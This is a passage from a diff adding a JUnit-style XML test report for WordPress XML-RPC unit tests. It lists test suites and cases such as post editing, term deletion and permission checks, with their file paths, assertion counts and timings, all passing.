+      <testcase name="test_edit_basic_post_info" class="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" line="153" assertions="12" time="0.223621"/>
+      <testcase name="test_change_post_type" class="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" line="188" assertions="2" time="0.080826"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_mw_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getPost.php" fullPackage="Tests.XMLRPC.mw" tests="6" assertions="49" failures="0" errors="0" time="0.628799">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_mw_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getPost.php" line="26" assertions="2" time="0.058847"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_mw_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getPost.php" line="32" assertions="2" time="0.152510"/>
+      <testcase name="test_invalid_postid" class="Tests_XMLRPC_mw_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getPost.php" line="43" assertions="2" time="0.084735"/>
+      <testcase name="test_valid_post" class="Tests_XMLRPC_mw_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getPost.php" line="49" assertions="29" time="0.122033"/>
+      <testcase name="test_post_thumbnail" class="Tests_XMLRPC_mw_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getPost.php" line="93" assertions="5" time="0.102215"/>
+      <testcase name="test_date" class="Tests_XMLRPC_mw_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getPost.php" line="123" assertions="9" time="0.108459"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_mw_getRecentPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getRecentPosts.php" fullPackage="Tests.XMLRPC.mw" tests="6" assertions="49" failures="0" errors="0" time="0.601807">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_mw_getRecentPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getRecentPosts.php" line="26" assertions="2" time="0.081489"/>
+      <testcase name="test_no_editing_privileges" class="Tests_XMLRPC_mw_getRecentPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getRecentPosts.php" line="35" assertions="2" time="0.120358"/>
+      <testcase name="test_no_editable_posts" class="Tests_XMLRPC_mw_getRecentPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getRecentPosts.php" line="43" assertions="2" time="0.095521"/>
+      <testcase name="test_valid_post" class="Tests_XMLRPC_mw_getRecentPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getRecentPosts.php" line="51" assertions="29" time="0.083973"/>
+      <testcase name="test_post_thumbnail" class="Tests_XMLRPC_mw_getRecentPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getRecentPosts.php" line="98" assertions="5" time="0.087274"/>
+      <testcase name="test_date" class="Tests_XMLRPC_mw_getRecentPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/getRecentPosts.php" line="133" assertions="9" time="0.133192"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" fullPackage="Tests.XMLRPC.mw" tests="14" assertions="32" failures="0" errors="0" time="1.122452">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="8" assertions="2" time="0.007232"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="15" assertions="2" time="0.064305"/>
+      <testcase name="test_no_content" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="24" assertions="3" time="0.070687"/>
+      <testcase name="test_basic_content" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="34" assertions="2" time="0.100163"/>
+      <testcase name="test_ignore_id" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="43" assertions="2" time="0.107907"/>
+      <testcase name="test_capable_publish" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="52" assertions="1" time="0.091187"/>
+      <testcase name="test_incapable_publish" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="60" assertions="2" time="0.065717"/>
+      <testcase name="test_capable_other_author" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="69" assertions="1" time="0.128104"/>
+      <testcase name="test_incapable_other_author" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="78" assertions="2" time="0.096098"/>
+      <testcase name="test_invalid_author" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="91" assertions="2" time="0.060739"/>
+      <testcase name="test_empty_author" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="100" assertions="4" time="0.087545"/>
+      <testcase name="test_post_thumbnail" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="113" assertions="3" time="0.106412"/>
+      <testcase name="test_incapable_set_post_type_as_page" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="140" assertions="2" time="0.058298"/>
+      <testcase name="test_capable_set_post_type_as_page" class="Tests_XMLRPC_mw_newPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/newPost.php" line="149" assertions="4" time="0.078058"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_deletePost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deletePost.php" fullPackage="Tests.XMLRPC.wp" tests="4" assertions="9" failures="0" errors="0" time="0.240442">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_deletePost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deletePost.php" line="8" assertions="2" time="0.006033"/>
+      <testcase name="test_invalid_post" class="Tests_XMLRPC_wp_deletePost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deletePost.php" line="14" assertions="2" time="0.056797"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_deletePost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deletePost.php" line="22" assertions="2" time="0.074201"/>
+      <testcase name="test_post_deleted" class="Tests_XMLRPC_wp_deletePost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deletePost.php" line="31" assertions="3" time="0.103411"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_deleteTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deleteTerm.php" fullPackage="Tests.XMLRPC.wp" tests="7" assertions="26" failures="0" errors="0" time="0.404288">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_deleteTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deleteTerm.php" line="16" assertions="3" time="0.011433"/>
+      <testcase name="test_empty_taxonomy" class="Tests_XMLRPC_wp_deleteTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deleteTerm.php" line="22" assertions="4" time="0.061506"/>
+      <testcase name="test_invalid_taxonomy" class="Tests_XMLRPC_wp_deleteTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deleteTerm.php" line="31" assertions="4" time="0.060415"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_deleteTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deleteTerm.php" line="40" assertions="4" time="0.062993"/>
+      <testcase name="test_empty_term" class="Tests_XMLRPC_wp_deleteTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deleteTerm.php" line="49" assertions="4" time="0.070759"/>
+      <testcase name="test_invalid_term" class="Tests_XMLRPC_wp_deleteTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deleteTerm.php" line="58" assertions="4" time="0.062845"/>
+      <testcase name="test_term_deleted" class="Tests_XMLRPC_wp_deleteTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/deleteTerm.php" line="67" assertions="3" time="0.074337"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" fullPackage="Tests.XMLRPC.wp" tests="15" assertions="62" failures="0" errors="0" time="1.756621">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="8" assertions="2" time="0.005843"/>
+      <testcase name="test_edit_own_post" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="14" assertions="3" time="0.160050"/>
+      <testcase name="test_capable_edit_others_post" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="30" assertions="3" time="0.140396"/>
+      <testcase name="test_incapable_edit_others_post" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="47" assertions="3" time="0.115252"/>
+      <testcase name="test_capable_reassign_author" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="65" assertions="3" time="0.185465"/>
+      <testcase name="test_incapable_reassign_author" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="82" assertions="3" time="0.115755"/>
+      <testcase name="test_post_thumbnail" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="98" assertions="16" time="0.269514"/>
+      <testcase name="test_edit_custom_fields" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="166" assertions="6" time="0.109265"/>
+      <testcase name="test_capable_unsticky" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="200" assertions="2" time="0.098414"/>
+      <testcase name="test_password_transition_unsticky" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="212" assertions="2" time="0.101726"/>
+      <testcase name="test_if_not_modified_since" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="224" assertions="5" time="0.111258"/>
+      <testcase name="test_edit_attachment" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="255" assertions="2" time="0.074038"/>
+      <testcase name="test_use_invalid_post_status" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="274" assertions="2" time="0.100749"/>
+      <testcase name="test_loss_of_categories_on_edit" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="294" assertions="4" time="0.103096"/>
+      <testcase name="test_add_enclosure_if_new" class="Tests_XMLRPC_wp_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editPost.php" line="314" assertions="6" time="0.065800"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_editProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editProfile.php" fullPackage="Tests.XMLRPC.wp" tests="4" assertions="18" failures="0" errors="0" time="0.241133">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_editProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editProfile.php" line="9" assertions="2" time="0.006412"/>
+      <testcase name="test_subscriber_profile" class="Tests_XMLRPC_wp_editProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editProfile.php" line="15" assertions="9" time="0.070796"/>
+      <testcase name="test_ignore_password_change" class="Tests_XMLRPC_wp_editProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editProfile.php" line="42" assertions="4" time="0.094976"/>
+      <testcase name="test_ignore_email_change" class="Tests_XMLRPC_wp_editProfile" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editProfile.php" line="57" assertions="3" time="0.068949"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" fullPackage="Tests.XMLRPC.wp" tests="13" assertions="75" failures="0" errors="0" time="0.941884">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="22" assertions="5" time="0.017491"/>
+      <testcase name="test_empty_taxonomy" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="28" assertions="6" time="0.073761"/>
+      <testcase name="test_invalid_taxonomy" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="37" assertions="6" time="0.067223"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="46" assertions="6" time="0.070978"/>
+      <testcase name="test_term_not_exists" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="55" assertions="6" time="0.076170"/>
+      <testcase name="test_empty_term" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="64" assertions="6" time="0.072849"/>
+      <testcase name="test_empty_term_name" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="73" assertions="6" time="0.066290"/>
+      <testcase name="test_parent_for_nonhierarchical" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="82" assertions="6" time="0.108263"/>
+      <testcase name="test_parent_empty" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="91" assertions="6" time="0.095689"/>
+      <testcase name="test_parent_invalid" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="100" assertions="5" time="0.072253"/>
+      <testcase name="test_parent_not_existing" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="108" assertions="6" time="0.071674"/>
+      <testcase name="test_parent_duplicate_slug" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="117" assertions="6" time="0.078311"/>
+      <testcase name="test_edit_all_fields" class="Tests_XMLRPC_wp_editTerm" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/editTerm.php" line="127" assertions="5" time="0.070932"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComment.php" fullPackage="Tests.XMLRPC.wp" tests="5" assertions="35" failures="0" errors="0" time="0.353359">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComment.php" line="38" assertions="2" time="0.026799"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComment.php" line="44" assertions="2" time="0.078605"/>
+      <testcase name="test_valid_comment" class="Tests_XMLRPC_wp_getComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComment.php" line="52" assertions="26" time="0.083051"/>
+      <testcase name="test_valid_child_comment" class="Tests_XMLRPC_wp_getComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComment.php" line="88" assertions="3" time="0.083324"/>
+      <testcase name="test_invalid_id" class="Tests_XMLRPC_wp_getComment" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComment.php" line="98" assertions="2" time="0.081580"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getComments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComments.php" fullPackage="Tests.XMLRPC.wp" tests="5" assertions="30" failures="0" errors="0" time="0.623880">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getComments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComments.php" line="16" assertions="2" time="0.068852"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getComments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComments.php" line="22" assertions="2" time="0.132103"/>
+      <testcase name="test_capable_user" class="Tests_XMLRPC_wp_getComments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComments.php" line="30" assertions="11" time="0.132606"/>
+      <testcase name="test_post_filter" class="Tests_XMLRPC_wp_getComments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComments.php" line="42" assertions="11" time="0.132918"/>
+      <testcase name="test_number_filter" class="Tests_XMLRPC_wp_getComments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getComments.php" line="56" assertions="4" time="0.157401"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getMediaItem" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getMediaItem.php" fullPackage="Tests.XMLRPC.wp" tests="2" assertions="16" failures="0" errors="0" time="0.275056">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getMediaItem" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getMediaItem.php" line="48" assertions="2" time="0.113463"/>
+      <testcase name="test_valid_media_item" class="Tests_XMLRPC_wp_getMediaItem" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getMediaItem.php" line="54" assertions="14" time="0.161593"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getOptions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getOptions.php" fullPackage="Tests.XMLRPC.wp" tests="5" assertions="113" failures="0" errors="0" time="0.246527">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getOptions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getOptions.php" line="8" assertions="2" time="0.006003"/>
+      <testcase name="test_valid_username_password" class="Tests_XMLRPC_wp_getOptions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getOptions.php" line="14" assertions="2" time="0.058472"/>
+      <testcase name="test_option_value" class="Tests_XMLRPC_wp_getOptions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getOptions.php" line="22" assertions="3" time="0.058436"/>
+      <testcase name="test_option_values_subscriber" class="Tests_XMLRPC_wp_getOptions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getOptions.php" line="35" assertions="53" time="0.061020"/>
+      <testcase name="test_option_values_admin" class="Tests_XMLRPC_wp_getOptions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getOptions.php" line="123" assertions="53" time="0.062596"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getPage" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPage.php" fullPackage="Tests.XMLRPC.wp" tests="4" assertions="38" failures="0" errors="0" time="0.392352">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getPage" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPage.php" line="32" assertions="2" time="0.050826"/>
+      <testcase name="test_invalid_pageid" class="Tests_XMLRPC_wp_getPage" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPage.php" line="41" assertions="2" time="0.111746"/>
+      <testcase name="test_valid_page" class="Tests_XMLRPC_wp_getPage" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPage.php" line="49" assertions="29" time="0.113583"/>
+      <testcase name="test_date" class="Tests_XMLRPC_wp_getPage" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPage.php" line="88" assertions="5" time="0.116197"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getPageList" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPageList.php" fullPackage="Tests.XMLRPC.wp" tests="3" assertions="9" failures="0" errors="0" time="0.255000">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getPageList" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPageList.php" line="26" assertions="2" time="0.047259"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getPageList" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPageList.php" line="32" assertions="2" time="0.103561"/>
+      <testcase name="test_date" class="Tests_XMLRPC_wp_getPageList" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPageList.php" line="40" assertions="5" time="0.104180"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getPages" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPages.php" fullPackage="Tests.XMLRPC.wp" tests="4" assertions="8" failures="0" errors="0" time="0.463016">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getPages" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPages.php" line="28" assertions="2" time="0.086573"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getPages" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPages.php" line="34" assertions="2" time="0.151910"/>
+      <testcase name="test_capable_user" class="Tests_XMLRPC_wp_getPages" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPages.php" line="42" assertions="2" time="0.111070"/>
+      <testcase name="test_semi_capable_user" class="Tests_XMLRPC_wp_getPages" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPages.php" line="65" assertions="2" time="0.113463"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPost.php" fullPackage="Tests.XMLRPC.wp" tests="6" assertions="60" failures="0" errors="0" time="0.532158">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPost.php" line="28" assertions="2" time="0.061893"/>
+      <testcase name="test_valid_post" class="Tests_XMLRPC_wp_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPost.php" line="34" assertions="32" time="0.081881"/>
+      <testcase name="test_no_fields" class="Tests_XMLRPC_wp_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPost.php" line="79" assertions="3" time="0.076393"/>
+      <testcase name="test_default_fields" class="Tests_XMLRPC_wp_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPost.php" line="89" assertions="5" time="0.089711"/>
+      <testcase name="test_date" class="Tests_XMLRPC_wp_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPost.php" line="99" assertions="9" time="0.081748"/>
+      <testcase name="test_valid_page" class="Tests_XMLRPC_wp_getPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPost.php" line="122" assertions="9" time="0.140532"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getPostType" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostType.php" fullPackage="Tests.XMLRPC.wp" tests="5" assertions="64" failures="0" errors="0" time="0.259795">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getPostType" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostType.php" line="32" assertions="2" time="0.011243"/>
+      <testcase name="test_invalid_post_type_name" class="Tests_XMLRPC_wp_getPostType" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostType.php" line="38" assertions="2" time="0.061119"/>
+      <testcase name="test_valid_post_type_name" class="Tests_XMLRPC_wp_getPostType" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostType.php" line="46" assertions="1" time="0.059514"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getPostType" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostType.php" line="53" assertions="2" time="0.062532"/>
+      <testcase name="test_valid_type" class="Tests_XMLRPC_wp_getPostType" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostType.php" line="61" assertions="57" time="0.065387"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getPostTypes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostTypes.php" fullPackage="Tests.XMLRPC.wp" tests="4" assertions="12" failures="0" errors="0" time="0.199953">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getPostTypes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostTypes.php" line="7" assertions="2" time="0.005306"/>
+      <testcase name="test_incapable_user" class="Tests_XMLRPC_wp_getPostTypes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostTypes.php" line="13" assertions="3" time="0.060909"/>
+      <testcase name="test_capable_user" class="Tests_XMLRPC_wp_getPostTypes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostTypes.php" line="22" assertions="3" time="0.062510"/>
+      <testcase name="test_simple_filter" class="Tests_XMLRPC_wp_getPostTypes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPostTypes.php" line="31" assertions="4" time="0.071228"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_wp_getPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPosts.php" fullPackage="Tests.XMLRPC.wp" tests="7" assertions="64" failures="0" errors="0" time="1.321393">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_wp_getPosts" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/wp/getPosts.php" line="8" assertions="2" time="0.005352"/>
